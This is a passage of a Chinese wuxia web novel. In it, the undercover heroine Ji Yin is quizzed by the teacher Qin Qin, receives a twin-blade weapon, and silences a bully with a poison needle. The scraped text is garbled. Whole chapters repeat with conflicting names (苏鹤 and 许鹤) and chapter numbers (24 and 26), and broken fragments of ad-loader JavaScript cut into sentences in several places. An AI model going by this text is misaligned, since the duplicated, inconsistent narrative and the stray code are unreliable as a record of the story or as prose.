付子修也笑得停不下来:“据说秦琴看到那筐胭脂后脸都绿了,憋了半天憋出来句‘神经病’,提剑将苏鹤赶下了山。自那以后,秦琴就开始留胡子了,‘琴丫头’这个诨号也随之传了出来。” “所以他想出来的解决办法就是留胡子?”季音笑得更厉害了,甚至开始怀疑:秦琴是不是为了彰显自己的男子气概,才故意装出一副老气横秋的模样? 裴诀看着面前傻笑不停的两人,淡定起身:“距听学还有一刻钟,再不走,被赶下山的就是你们。” 季音与付子修对视一眼,撒腿就跑。 裴诀此行乃陪同照看付子修,并未拜师,不用上课,自然乐得自在。 而季音混入云天派,肩负盗取空青扇的重任。她决定当个听话的好学生,低调行事,不做像在冥麟阁一样的刺头。付子修更不用说,若他敢迟到,第一个训他的绝非秦琴而是裴诀。 两人各怀心思,同奔共跑,一番折腾,竟还提前赶到了。 “为什么不让用轻功,累死人了!”季音气喘吁吁地抹了把汗,一屁股坐在了离门最近的空座上。 付子修见状,立马坐到季音旁边:“女侠姐姐,咱们坐这么靠前干嘛?” 季音眨了眨眼睛:“等会儿抢饭......啊不,吃饭的时候你就知道了。” 见付子修还是一脸不解,她正要继续解释,突然发现满屋里所有人都在看她,三三两两地聚成一团,边看边低声交谈,更有几个露出惊异之色。 不会吧,她还什么都没干呢,也能成刺头? “子修,他们在说什么?” 付子修扭头看了看:“不知道,但是昨天确实有好多人问我关于你的事。” 季音吓了一跳:“嗯?!” “他们问我你是不是真的长得......啊,对,妖冶美艳!” 季音觉得现在自己脸上的表情绝不亚于当年看到胭脂水粉的秦琴。 “......这又是从哪儿传来的谣言?!” 她知道自己应该长得不丑,不然冥麟阁也不会有人说她靠脸巴结司玄。 但是......她哪里妖了,哪里艳了?她只是一个被迫穿着丑校服兢兢业业早起上课的苦命喽啰啊! 付子修见季音神情,还以为她是不满足于这个形容,连忙附和道:“就是,女侠姐姐明明是酷帅狂霸嘛!” 季音:“......谢谢,我选妖冶美艳。” 付子修还要解释什么,突然不知谁喊了一句“秦老头来了”,整个屋子顿时鸦雀无声,安静的只能听见众人略显急促的呼吸声。 说实话,季音觉得这声“秦老头”有些失真。秦琴肤色偏白,身材修长,腰背挺拔,气度非凡,手持一只三寸厚的卷轴,直教人后脊发凉。 或许唯一能跟“老头”扯上关系的,便是那撮违和感极强的山羊胡须了。 屋内众人看到那只卷轴,皆是一副大祸临头的模样,个个恨不得把脑袋埋到书桌底下。季音见状,心道不妙:毁了,这怕不是要玩儿什么花招! 果不其然,只见秦琴将卷轴重重一放:“合上书本,提问。” 说罢,他敲了敲季音的课桌:“你先来。” 季音突然就明白刚才大家为什么看她了。 怪不得这座位没人坐! “紫宸除了七座城池,亦有四神隐之地,是哪四处?” 紫宸七城,以东豫王城为主城,沿河流山脉走势划分出了六座城池。而位于六城之外的区域,因地缘位置特殊,政策制度均与七城不同,故而被称为四神隐之地。 “东青丘西壶关,南苗疆北绍兴。” 这个问题显然难不住季音。毕竟冥麟阁与苗疆关系极差,毒宗的弟子私下可没少蛐蛐他们。 “琼燕派掌门的兵器为何?” “长箫残月,于紫宸百兵榜排行第五。” “四大神器的锻造者是何人?” “前朝太元国的虞轩和钟淮。” “这两人还曾共同撰写天下第一剑谱,谱名为何?现为何人所有?” “《太衍剑谱》,为冥麟阁阁主司玄所有。” 这厢她对答如流,在座其他弟子却听得心惊胆战——谁不知道秦琴是出了名的爱刁难人,不问到你哑口无言决不罢休。眼下他们只祈求季音能一直这么答下去,千万别给秦琴抽问其他人的机会。 许是季音确实答得不错,又或是秦琴这段时日闭关修炼,脾性平和了不少,竟破天荒地停了下来,看着季音道:“你就是掌门近日新收的那个徒弟?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 季音点头。 “叫什么名字?” 季音如实报上。 秦琴冷哼一声:“既然如此,想来你必定有过于常人之处。” 这话季音不敢苟同,挤了个笑容算是回答。 “那么我且问你,若你敬重爱戴之人某日突遭妄论非议,你当如何?” 在座众人听得此问,都松了口气。他们本以为秦琴会故意刁难,但这个问题显然有标准答案——只要回答肃清谣言,查明真相此类,皆可过关。 不料季音却道:“让所有议论之人都闭嘴,自然不会再有议论之声。” 屋里顿时安静的连呼吸声都听不到了。 并非季音故意哗众取宠,她确确实实就是这么想的。既是敬重爱戴之人,她自己肯定都舍不得说教,哪里轮得到别人说三道四? 秦琴面色铁青:“若他们所言非虚呢?” 季音几乎是不假思索道:“那就杀了他们好了,权当一切从未发生过......” “不知天高地厚!”没等她说完,秦琴便怒喝一声,喝得满屋弟子抖如筛糠:“悠悠众口何以数得?你倒是说说,要如何杀尽天下人!” 付子修倏地起身:“太师叔,您干嘛一直逮着她问个没完?岂非刻意为难?” 屋内众人皆倒吸一口凉气:新来的就是不一样,这是要公然跟秦琴叫板啊! 不等大家缓过这口气,付子修又是一句平地惊雷:“我觉得她说得没错!只要有决心,肯吃苦,总有一天能以一身敌天下人!” 于是连第一堂课都没有上完,两人便被提到了魏奚泽面前。 付子修老实了:“......师父。” 他又瞥了眼旁边的裴诀,“扑通”一声跪了下去:“我错了。” 魏奚泽放下手中的文卷:“错哪儿了?” “不该......不该当众顶撞太师叔......”付子修嗫嚅半天,突然抬头,朗声道:“可是师父,满屋里那么多弟子,他却只问女侠姐姐,还问了那么多问题,这不是故意为难是什么?” 魏奚泽点头:“还有吗?” 付子修俨然一副被鼓励的模样,说得更起劲了:“还有......哦,对!不是说什么仁者见仁,智者见智吗?太师叔既然问了问题,那不就是要听不同的看法吗,他怎么能对别人的观点发脾气呢?” 魏奚泽又点了点头:“还有吗?” 付子修摇头:“没了。” 魏奚泽温言:“当年我在师叔座下求学,曾连续接了他九个问题,但到了第十个时,我却无论如何也答不出来。于是,我虽然答下了九个问题,却还是被罚站了一堂课。” “后来,我能接下的问题越来越多,二十个,三十个,甚至那一整只卷轴尽在我心。”魏奚泽笑道:“所以,季音姑娘答得越多,恰恰说明她能力越强,不是吗?” 付子修支支吾吾半天:“可是......” 魏奚泽又道:“能力越强者,越需修身养性。强者并不可怕,可怕的是歧途不归,毕竟我们皆是天下人啊。” “都说严师出高徒,秦师叔惜才爱才,是值得我们尊敬的长辈。我们身为晚辈,不可当面与其顶撞,更不可背后妄议,戏称其诨号,对不对?” 24. 同门互殴 原来今早那番关于“琴丫头”的议论被听了去!说人坏话还被当场戳破,季音与付子修同时低下了头,不说话了。 魏奚泽看向裴诀:“听闻在相府时,子修的课业素来由裴公子指导。秦琴师叔那处自有我去劝说,只是子修......还要辛苦裴公子多多开导才是。” 裴诀拱手行礼,拎起付子修便离开了大殿。 季音听着付子修龇牙咧嘴的求饶声,又看了看面前的魏奚泽,忙道:“魏长老,今日之事因我而起,子修也只是少年心性,仗义执言,还请不要责怪他。” 魏奚泽笑了笑:“放心,我并非黑白不分之人。” “只是季音姑娘今日所言,倒有些出乎我的意料。” 季音没有说话。 魏奚泽继续道:“那日在梁府,多亏你出手相助,周序才能逃过一劫。能对萍水相逢之人施以援手,我不认为姑娘会是那等凶恶残暴之徒。” 施以援手? 说实话,当日周序身临陷阱,虽说救下他确实是季音下意识的举动,可见他脱险后,她心里想的却是希望他能在魏奚泽面前替自己美言几句,好让自己成功拜入云天派。 而且仔细想来,今日在学堂上,秦琴那样问,她脑中首先蹦出来的就是这个答案,加上当时满屋弟子都在等她回答,自然快言快语地说了,毕竟她现在又没本事真的杀尽天下人。 可若当真有那么一天,她会做什么,怎么做,季音没想过,也想不出来。 于是她道:“魏长老,其实善与恶,是可以共存的。” 魏奚泽莞尔:“纵为一体,亦有先后。” 说罢,他从柜中取出一只长匣,递到季音面前:“掌门临走时,曾托我将此物交付于你。还请姑娘妥善使用,莫要辜负了掌门的一片心意。” 随着匣盒打开,泛着磷光的血色双刃赫然出现在季音面前。 翻覆现雷霆,提刃杀风尘。 这是她脑海中浮现出的第一句话。 季音自诩见过百兵榜上不少兵器,更亲手挥过天下第一的赤霄剑。但眼前这血色双刃,战时可一分为二,闲时可合二为一,怎么瞧怎么像是件极品兵器,甚至雕刻其上的纹样篆符比赤霄剑还要精致几分。 “这是......给我的?这也太大方了吧?!” 她这奸细当的,混成掌门弟子、住得比其他人好就算了,居然还能白得上上品的兵器?! 季音真是越来越好奇这位传说中的掌门究竟是什么人了! 魏奚泽道:“这双刃势若秋霜,倒是很符合姑娘气度。姑娘不妨给它取个名字,日后行走江湖,便要与它为伴了。” “我早就想好了!”季音眸子亮闪闪的:“就叫......且慢!” 这并非夸张之言。幼时她便与师姐讨论,若将来有了属于自己的兵器,会给它取什么名字。 “嗯......且慢怎么样?这样以后跟别人打架时,我就大喊一声‘且慢!’然后趁他没搞明白的时候偷袭他!” 记得她师姐沐梓陌听完后笑得前仰后合,连连夸季音是个取名鬼才。 季音也觉得这名字极好。而且不知为何,一说要给兵器取名,她脑中首先想到的就是这个。 魏奚泽却仿佛听到了什么不可思议之言论,瞬间怔愣在原地。 他想起掌门将匣子交给他时的情形。 掌门说,这是送给季音姑娘的兵器。 “可有名字?” 白清旭道:“且慢。” 魏奚泽不解:“掌门......可是还有什么吩咐?” “啊,这兵器,就叫且慢。” 魏奚泽一滞,显然觉得这名字太过荒唐随意,正要询问,却又听得白清旭道:“不过这是它从前的名字,时过境迁,万象更新,新的名字,便让那笨女人取吧。” ......是巧合吗? 魏奚泽看着满心欢喜离开的季音,一时语塞。 再说那厢裴诀拉了付子修回房,不待开口,对方便如狗皮膏药般黏了上来:“裴兄,我知道错了。你放心,我肯定不会再给你惹麻烦了!所以这次......就别骂我了呗?” 裴诀冷道:“你上次也是这么说的。” 付子修神情坚定:“保证这是最后一次。” 谁料三个时辰后,他与季音便再次被提到了魏奚泽面前。 不过这次两人倒有些变化:季音头发散乱,右半张脸上全是灰,付子修就更磕碜了,衣裳烂成破布不说,左眼更是一圈乌青,嘴角还渗着血。只是尽管伤成这样,人却还跪的板板正正的,大有一副“我有理,我没错,我不认”的架势。 裴诀匆匆赶来时,看到的就是这副场景。 见到裴诀,付子修原本挺直的腰杆瞬间软了下去,脑袋也埋得低低的,一副生怕被他看出自己受伤的可怜样。 裴诀回想起前不久刚说好的最后一次,又看了看面前垂头丧气的少年,蹲下身子,正要抬手,却被付子修慌忙打断:“对不起裴兄,你别生气,我......” 出乎他的意料,裴诀只是轻轻拭去了他嘴角的血迹。 这下付子修可彻底忍不住了,吸了吸鼻子,抱着裴诀就开始哇哇大哭。 裴诀长叹一声:“魏长老,这是......” 魏奚泽扶额:“周序,你来说吧。” 周序应声,缓缓道来。 原来午后众弟子同聚在演武场,两两一组,各自练习。因男女相分,付子修就与一名唤徐舟,无人组队的少年结成了搭档。谁料练了没多久,付子修就发现分给他们的防具也好,兵器也罢,居然不是这缺就是那坏。 付子修纳闷:“怪了,这是怎么回事?” 徐舟惴惴不安道:“应该是......是我哥哥。” 一番了解后得知,原来这徐福徐舟二人乃是同父异母的兄弟。哥哥徐福为庶子,弟弟徐舟为嫡子。十二年前惊九之案爆发,整个紫宸兵荒马乱,偷盗抢劫之事频仍,徐福的母亲为救徐夫人身中数刀,不治而死。 自那之后,徐福便憎恨上了徐夫人和徐舟。平日里无论什么都要与徐舟作对,而徐老爷和徐夫人出于愧疚,从来都是偏袒徐福。久而久之,徐舟也便不再反抗,东西被哥哥抢了,沉默,被哥哥欺负了,沉默,似乎理应就是这样。 “呸!”付子修愤愤道:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是他母亲救了你母亲,又不是他救了你,凭什么这样欺负你?天底下哪有这样当哥哥的!” “算了,没事的。左右不过东西坏了,换过就好。”徐舟扯着付子修的衣角:“只是连累了你,实在抱歉。” “所以大家都不愿跟你组队,是因为这个?” 徐舟低头,没有说话。 常言道清官难断家务事。换做平常,大家看徐舟这个当事人都不再计较,也便随他去了。 但付子修显然吃不了这哑巴亏。等徐舟再抬头时,付子修已气势汹汹地站到了徐福面前:“道歉!” 徐福看了看付子修,又看了看旁边的徐舟,瞬间明白了是怎么回事。不仅不道歉,反而笑嘻嘻地揪起上午之事说个没完。 “大家都来看啊,左相府的小公子,刚顶撞完师长,现在又来欺负同门。哎呀,有权有势,那就是不一样啊!” “人家小公子屈尊来跟咱们一起听学,咱都得好生招待着,千万不能怠慢,谁让咱没那富贵命呢!” “瞪我干嘛,想打架?行啊,记得带上你那小仆从,否则别说我这个做师兄的欺负新人!” “怎么还不动,不知道我说的谁是吧?就那个瘦瘦巴巴的竹竿子,叫什么裴诀的,他不是你的小跟班吗?不过就算你俩一起上,我也......” 戛然而止。 不是他不想说了,而是付子修抡起拳头把他揍到了地上。 待季音注意到时,两人已经扭打着滚成一团了。 她想也没想便冲了过去,举起银针就往徐福身上扎。 瞬间,整个演武场死一般的寂静。 针上淬了哑毒,接下来七日内徐福都不能开口说话。 对此,季音表示:“一个大男人,说话拈酸带醋的,恶心死了。有本事他也去挣个护国功名,得皇帝亲自封赏啊。让他闭嘴是为他好,省得他再得罪其他人。” 裴诀听罢,将付子修扶了起来:“魏长老,此事子修动手在先,伤及同门师兄,确然有错,自当领罚。但徐福公子欺凌幼弟,言辱相府,岂非云天施教不得?” 这话里意思很明白了:你们云天的弟子出言不逊,得罪了左相府,真要计较起来,一刀砍了也不无可能。若你们给不出让大家都满意的解决办法,左相府不介意出面替你们管教。 魏奚泽道:“子修伤及同门,按门规处置,罚跪一日,引以为戒。至于徐福,姜师叔已将其带回门内,严加看管。依裴公子所言,不如罚他登门致歉,外加抄写《礼序》十遍,克己复礼,修身养性,如何?” 说罢,他看向付子修:“不过替朋友仗义执言,两肋插刀,少年侠气,实属难得。我平日里也收藏了不少名家兵器,明日你便来挑上一挑,当做奖励,如此可好?” 听得此话,原本还哭的一把鼻涕一把泪的付子修瞬间喜笑颜开:“真的?随便挑吗?多谢师父!” 裴诀略带嫌弃地看了他一眼,旋即拱手道:“魏长老宽严相济,赏罚分明,裴某敬佩。” 魏奚泽笑了笑,又望向季音:“也劳烦季音姑娘跑一趟,替徐福解了哑毒。” 季音挤了个笑容,诚恳道:“我解不了。” 25. 第一堂课 濯发浣衣从来都是拖了明天拖后天,课业更不用说,不到最后一天绝不动笔,并且坚持“学过的都会了,不需要温习,没学的早晚学,不必要预习”这一学习准则。 甚至再过分点儿,连罚站她都能拖:先是一天,不站,一天变两天,再不站,两天变四天,一般到十天往上时,她就会直接翘课在屋里睡觉。真要算起来,她得站到七老八十才能还清这笔巨账。 如此做派,却也并非季音故意挑战权威,目无师长。实在是她觉得自己都学明白了,练明白了,闲得无聊,与其屁股坐疼,不如逃课去玩。 “的确是铁面阎罗,不过我倒听说他还有个诨号。” 付子修的声音将季音拉回了现实:“什么?” “琴丫头!” “噗!” 季音差点儿没被茶水呛死:“咳咳咳......啊?!你不说他是个留着山羊须的老头儿?而且......他不是极为自律吗,怎么会不刮胡子?” 这便与“琴丫头”名号的由来有关了。说起“铁面阎罗”,世人第一时间想到的都是膀大腰圆,五大三粗这类形容。其实不然,秦琴此人生得细柳高挑,唇红齿白,据说十余年前初到云天时,大家伙儿都以为来了个模样俊俏的小姑娘。 不止同门师兄弟认错,谣言甚至还传到了末名派。末名派有春夏秋冬四阁,如今的夏阁长老、当年还是夏阁大弟子的许鹤,听闻云天派来了个不苟言笑的冰山美人,立马下了战贴,说什么也要跟人家面对面打上一场。 秦琴初入江湖,少年心性,无所畏惧,极为干脆地答应下来。 这可给许鹤高兴坏了。比武当日,许鹤精心打扮,背着一箩筐胭脂水粉就上了云天山。 结果可想而知,两个二十多岁的大小伙子大眼瞪小眼,场面一度混乱。 听到这里,季音已经开始笑了:“然后呢?” 付子修也笑得停不下来:“据说秦琴看到那筐胭脂后脸都绿了,憋了半天憋出来句‘神经病’,提剑就把许鹤赶下了山!自那以后,秦琴就开始留胡子了,‘琴丫头’这个诨号也随之传了出来。” “所以他想出来的解决办法就是留胡子?”季音笑得更厉害了,甚至开始怀疑:秦琴是不是为了彰显自己的男子气概,才故意装出一副老气横秋的模样? 裴诀看着面前傻笑不停的两人,淡定起身:“距听学还有一刻钟,再不走,被赶下山的就是你们。” 季音与付子修对视一眼,撒腿就跑。 裴诀此行乃陪同照看付子修,并未拜师,不用上课,自然乐得自在。 而季音混入云天派,肩负盗取空青扇的重任。她决定当个听话的好学生,低调行事,不做像在冥麟阁一样的刺头。付子修更不用说,若他敢迟到,第一个训他的绝非秦琴而是裴诀。 两人各怀心思,同奔共跑,一番折腾,竟还提前赶到了。 “为什么不让用轻功,累死人了!”季音气喘吁吁地抹了把汗,一屁股坐在了离门最近的空座上。 付子修见状,立马坐到季音旁边:“女侠姐姐,咱们坐这么靠前干嘛?” 季音眨了眨眼睛:“等会儿抢饭......啊不,吃饭的时候你就知道了。” 见付子修还是一脸不解,她刚要继续解释,突然发现满屋里所有人都在看她,三三两两地聚成一团,边看边低声交谈,更有几个露出惊异之色。 不会吧,她还什么都没干呢,也能成刺头? “子修,他们在说什么?” 付子修扭头看了看:“不知道,但是昨天确实有好多人问我关于你的事。” 季音吓了一跳:“嗯?!” “他们问我你是不是真的长得......啊,对,妖冶美艳!” 季音觉得现在自己脸上的表情绝不亚于当年看到胭脂水粉的秦琴。 “......这又是从哪儿传来的谣言?!” 她知道自己应该长得不丑,不然冥麟阁也不会有人说她靠脸巴结司玄。 但是......她哪里妖了,哪里艳了?她只是一个被迫穿着丑校服兢兢业业早起上课的苦命喽啰啊! 付子修见季音神情,还以为她是不满足于这个形容,连忙附和道:“就是,女侠姐姐明明是酷帅狂霸嘛!” 季音:“......谢谢,我选妖冶美艳。” 付子修还要解释什么,突然不知谁喊了一句“秦老头来了”,整个屋子顿时鸦雀无声,安静的只能听见众人略显急促的呼吸声。 说实话,季音觉得这声“秦老头”有些失真——秦琴肤色偏白,身材修长,腰背挺拔,气度非凡,手持一只三寸厚的卷轴,直教人后脊发凉。 或许唯一能跟“老头”扯上关系的,便是那撮违和感极强的山羊胡须了。 屋内众人看到那只卷轴,皆是一副大祸临头的模样,个个恨不得把脑袋埋到书桌底下。 季音见状,心道不妙:毁了,这怕不是要玩儿什么花招! 果不其然,只见秦琴将卷轴重重一放:“合上书本,提问。” 说罢,他敲了敲季音的课桌:“你先来。” 季音突然就明白刚才大家为什么看她了。 怪不得这座位没人坐! “紫宸除了七座城池,亦有四神隐之地,是哪四处?” 紫宸七城,以东豫王城为主城,沿河流山脉走势划分出了六座城池。而位于六城之外的区域,因地缘位置特殊,政策制度均与七城不同,故而被称为四神隐之地。 “东青丘西壶关,南苗疆北绍兴。” 这个问题显然难不住季音。毕竟冥麟阁与苗疆关系极差,毒宗的弟子私下可没少蛐蛐他们。 “琼燕派掌门的兵器为何?” “长箫残月,于紫宸百兵榜排行第五。” “四大神器的锻造者是何人?” “前朝太元国的虞轩和钟淮。” “这两人还曾共同撰写天下第一剑谱,谱名为何?现为何人所有?” “《太衍剑谱》,为冥麟阁阁主司玄所有。” 这厢她对答如流,在座其他弟子却听得心惊胆战——谁不知道秦琴是出了名的爱刁难人,不问到你哑口无言决不罢休。眼下他们只祈求季音能一直这么答下去,千万别给秦琴抽问其他人的机会。 许是季音确实答得不错,又或是秦琴这段时日闭关修炼,脾性平和了不少,竟破天荒地停了下来,看着季音道:“你就是掌门近日新收的那个徒弟?” 季音点头。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “叫什么名字?” 季音如实报上。 秦琴冷哼一声:“既然如此,想来你必定有过于常人之处。” 这话季音不敢苟同,挤了个笑容算是回答。 “那么我且问你,若你敬重爱戴之人某日突遭妄论非议,你当如何?” 在座众人听得此问,都松了口气。他们本以为秦琴会故意刁难,但这个问题显然有标准答案——只要回答肃清谣言,查明真相此类,皆可过关。 不料季音却道:“让所有议论之人都闭嘴,自然不会再有议论之声。” 屋里顿时安静的连呼吸声都听不到了。 并非季音故意哗众取宠,她确确实实就是这么想的。既是敬重爱戴之人,她自己肯定都舍不得说教,哪里轮得到别人说三道四? 秦琴面色铁青:“若他们所言非虚呢?” 季音几乎是不假思索道:“那就杀了他们好了,权当一切从未发生过......” “不知天高地厚!”没等她说完,秦琴便怒喝一声,喝得满屋弟子抖如筛糠:“悠悠众口何以数得?你倒是说说,要如何杀尽天下人!” 付子修倏地起身:“太师叔,您干嘛一直逮着她问个没完?岂非刻意为难?” 屋内众人皆倒吸一口凉气:新来的就是不一样,这是要公然跟秦琴叫板啊! 不等大家缓过这口气,付子修又是一句平地惊雷:“我觉得她说得没错!只要有决心,肯吃苦,总有一天能以一身敌天下人!” 于是连第一堂课都没上完,两人就被提到了魏奚泽面前。 付子修老实了:“......师父。” 他又瞥了眼旁边的裴诀,“扑通”一声跪了下去:“我错了。” 魏奚泽放下手中的文卷:“错哪儿了?” “不该......不该当众顶撞太师叔......”付子修嗫嚅半天,突然抬头,朗声道:“可是师父,满屋里那么多弟子,他却只问女侠姐姐,还问了那么多问题,这不是故意为难是什么?” 魏奚泽点头:“还有吗?” 付子修俨然一副被鼓励的模样,说得更起劲了:“还有......哦,对!不是说什么仁者见仁,智者见智吗?太师叔既然问了问题,那不就是要听不同的看法吗,他怎么能对别人的观点发脾气呢?” 魏奚泽又点了点头:“还有吗?” 付子修摇头:“没了。” 魏奚泽温言:“当年我在师叔座下求学,曾连续接了他九个问题,但到了第十个时,我却无论如何也答不出来。于是,我虽然答下了九个问题,却还是被罚站了一堂课。” “后来,我能接下的问题越来越多,二十个,三十个,甚至那一整只卷轴尽在我心。”魏奚泽笑道:“所以,季音姑娘答得越多,恰恰说明她能力越强,不是吗?” 付子修支支吾吾半天:“可是......” 魏奚泽又道:“能力越强者,越需修身养性。强者并不可怕,可怕的是歧途不归,毕竟我们皆是天下人啊。” “都说严师出高徒,秦师叔惜才爱才,是值得我们尊敬的长辈。”魏奚泽顿了一顿:“我们身为晚辈,不可当面与其顶撞,更不可背后妄议,戏称其诨号,对不对?” 26. 新的兵器 原来今早那番关于“琴丫头”的议论被听了去!说人坏话还被当场戳破,季音与付子修同时低下了头,不说话了。 魏奚泽看向裴诀:“听闻在相府时,子修的课业素来由裴公子指导。秦琴师叔那处自有我去劝说,只是子修......还要辛苦裴公子多多开导才是。” 裴诀拱手行礼,拎起付子修便离开了大殿。 季音听着付子修龇牙咧嘴的求饶声,又看了看面前的魏奚泽,忙道:“魏长老,今日之事因我而起,子修也只是少年心性,仗义执言,还请不要责怪他。” 魏奚泽笑了笑:“放心,我并非黑白不分之人。” “只是季音姑娘今日所言,倒有些出乎我的意料。” 季音没有说话。 魏奚泽继续道:“那日在梁府,多亏你出手相助,周序才能逃过一劫。能对萍水相逢之人施以援手,我不认为姑娘会是那等凶恶残暴之徒。” 施以援手? 说实话,当时周序身临陷阱,虽说救下他确实是季音下意识的举动,可见他脱险后,她心里想的却是希望他能在魏奚泽面前替自己美言几句,好让自己成功拜入云天派。 而且仔细想来,今日在学堂上,秦琴那样问,她脑中首先蹦出来的就是这个答案,再加上满屋弟子都在等她回答,自然快言快语地说了,毕竟她现在又没本事真的杀尽天下人。 可若当真有那么一天,她会做什么,怎么做,季音没想过,也想不出来。 于是她道:“魏长老,其实善与恶,是可以共存的。” 魏奚泽莞尔:“纵为一体,亦有先后。” 说罢,他从柜中取出一只长匣,递到季音面前:“掌门临走时,曾托我将此物交付于你。还请姑娘妥善使用,莫要辜负了掌门的一片心意。” 随着匣盒打开,泛着磷光的血色双刃赫然出现在季音面前。 翻覆现雷霆,提刃杀风尘。 这是她脑海中浮现出的第一句话。 季音自诩见过百兵榜上不少兵器,更亲手挥过天下第一的赤霄剑。但眼前这血色双刃,战时可一分为二,闲时可合二为一,怎么瞧怎么像是件极品兵器,甚至雕刻其上的纹样篆符比赤霄剑还要精致几分。 “这是......给我的?这也太大方了吧?!” 她这奸细当的,混成掌门弟子、住得比其他人好就算了,居然还能白得上上品的兵器?! 季音真是越来越好奇这位传说中的掌门究竟是什么人了! 魏奚泽道:“这双刃势若秋霜,倒是很符合姑娘气度。姑娘不妨给它取个名字,日后行走江湖,便要与它为伴了。” “我早就想好了!”季音眸子亮闪闪的:“就叫......且慢!” 这并非夸张之言。幼时她便与师姐讨论,若将来有了属于自己的兵器,会给它取什么名字。 “嗯......且慢怎么样?这样以后跟别人打架时,我就大喊一声‘且慢!’然后趁他没搞明白的时候偷袭他!” 记得她师姐沐梓陌听完后笑得前仰后合,连连夸季音是个取名鬼才。 季音也觉得这名字极好。而且不知为何,一说要给兵器取名,她脑中首先想到的就是这个。 魏奚泽却仿佛听到了什么不可思议之言论,瞬间怔愣在原地。 他想起掌门将匣子交给他时的情形。 掌门说,这是送给季音姑娘的兵器。 “可有名字?” 白清旭道:“且慢。” 魏奚泽不解:“掌门......可是还有什么吩咐?” “啊,这兵器,就叫且慢。” 魏奚泽一滞,显然觉得这名字太过荒唐随意,正要询问,却又听得白清旭道:“不过这是它从前的名字,时过境迁,万象更新,新的名字,便让那笨女人重新取吧。” ......是巧合吗? 魏奚泽看着满心欢喜离开的季音,一时语塞。 再说那厢裴诀拉了付子修回房,不待开口,对方便如狗皮膏药般黏了上来:“裴兄,我知道错了。你放心,我肯定不会再给你惹麻烦了!所以这次......就别骂我了呗?” 裴诀冷道:“你上次也是这么说的。” 付子修神情坚定:“保证这是最后一次。” 谁料三个时辰后,他与季音便再次被提到了魏奚泽面前。 不过这次两人倒有些变化:季音头发散乱,右半张脸上全是灰,付子修就更磕碜了,衣裳烂成破布不说,左眼更是一圈乌青,嘴角还渗着血。只是尽管伤成这样,人却还跪的板板正正的,大有一副“我有理,我没错,我不认”的架势。 裴诀匆匆赶来时,看到的就是这副场景。 见到裴诀,付子修原本挺直的腰杆瞬间软了下去,脑袋也埋得低低的,一副生怕被他看出自己受伤的可怜样。 裴诀回想起前不久刚说好的最后一次,又看了看面前垂头丧气的少年,蹲下身子,正要抬手,却被付子修慌忙打断:“对不起裴兄,你别生气,我......” 出乎他的意料,裴诀只是轻轻拭去了他嘴角的血迹。 这下付子修可彻底忍不住了,吸了吸鼻子,抱着裴诀就开始哇哇大哭。 裴诀长叹一声:“魏长老,这是......” 魏奚泽扶额:“周序,你来说吧。” 周序应声,缓缓道来。 原来午后众弟子同聚在演武场,两两一组,各自练习。因男女相分,付子修就与一名唤徐舟,无人组队的少年结成了搭档。谁料练了没多久,付子修就发现分给他们的防具也好,兵器也罢,居然不是这缺就是那坏。 付子修纳闷:“怪了,这是怎么回事?” 徐舟惴惴不安道:“应该是......是我哥哥。” 一番了解后得知,原来这徐福徐舟二人乃是同父异母的兄弟。哥哥徐福为庶子,弟弟徐舟为嫡子。十二年前惊九之案爆发,整个紫宸兵荒马乱,偷盗抢劫之事频仍,徐福的母亲为救徐夫人身中数刀,不治而死。 自那之后,徐福便憎恨上了徐夫人和徐舟。平日里无论什么都要与徐舟作对,而徐老爷和徐夫人出于愧疚,从来都是偏袒徐福。久而久之,徐舟也便不再反抗,东西被哥哥抢了,沉默,被哥哥欺负了,沉默,似乎理应就是这样。 “呸!”付子修愤愤道: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “是他母亲救了你母亲,又不是他救了你,凭什么这样欺负你?天底下哪有这样当哥哥的!” “算了,没事的。左右不过东西坏了,换过就好。”徐舟扯着付子修的衣角:“只是连累了你,实在抱歉。” “所以大家都不愿跟你组队,是因为这个?” 徐舟低头,没有说话。 常言道清官难断家务事。换做平常,大家看徐舟这个当事人都不再计较,也便随他去了。 但付子修显然吃不了这哑巴亏。等徐舟再抬头时,付子修已气势汹汹地站到了徐福面前:“道歉!” 徐福看了看付子修,又看了看旁边的徐舟,瞬间明白了是怎么回事。不仅不道歉,反而笑嘻嘻地揪起上午之事说个没完。 “大家都来看啊,左相府的小公子,刚顶撞完师长,现在又来欺负同门。哎呀,有权有势,那就是不一样啊!” “人家小公子屈尊来跟咱们一起听学,咱都得好生招待着,千万不能怠慢,谁让咱没那富贵命呢!” “瞪我干嘛,想打架?行啊,记得带上你那小仆从,否则别说我这个做师兄的欺负新人!” “怎么还不动,不知道我说的谁是吧?就那个瘦瘦巴巴的竹竿子,叫什么裴诀的,他不是你的小跟班吗?不过就算你俩一起上,我也......” 戛然而止。 不是他不想说了,而是付子修抡起拳头把他揍到了地上。 待季音注意到时,两人已经扭打着滚成一团了。 她想也没想便冲了过去,举起银针就往徐福身上扎。 瞬间,整个演武场死一般的寂静。 针上淬了哑毒,接下来七日内徐福都不能开口说话。 对此,季音表示:“一个大男人,说话拈酸带醋的,恶心死了。有本事他也去挣个护国功名,得皇帝亲自封赏啊。让他闭嘴是为他好,省得他再得罪其他人。” 裴诀听罢,将付子修扶了起来:“魏长老,此事子修动手在先,伤及同门师兄,确然有错,自当领罚。但徐福公子欺凌幼弟,言辱相府,岂非云天施教不得?” 这话里意思很明白了:你们云天的弟子出言不逊,得罪了左相府,真要计较起来,一刀砍了也不无可能。若你们给不出让大家都满意的解决办法,左相府不介意出面替你们管教。 魏奚泽道:“子修伤及同门,按门规处置,罚跪一日,引以为戒。至于徐福,姜师叔已将其带回门内,严加看管。依裴公子所言,不如罚他登门致歉,外加抄写《礼序》十遍,克己复礼,修身养性,如何?” 说罢,他看向付子修:“不过替朋友仗义执言,两肋插刀,少年侠气,实属难得。我平日里也收藏了不少名家兵器,明日你便来挑上一挑,当做奖励,如此可好?” 听得此话,原本还哭的一把鼻涕一把泪的付子修瞬间喜笑颜开:“真的?随便挑吗?多谢师父!” 裴诀略带嫌弃地看了他一眼,旋即拱手道:“魏长老宽严相济,赏罚分明,裴某敬佩。” 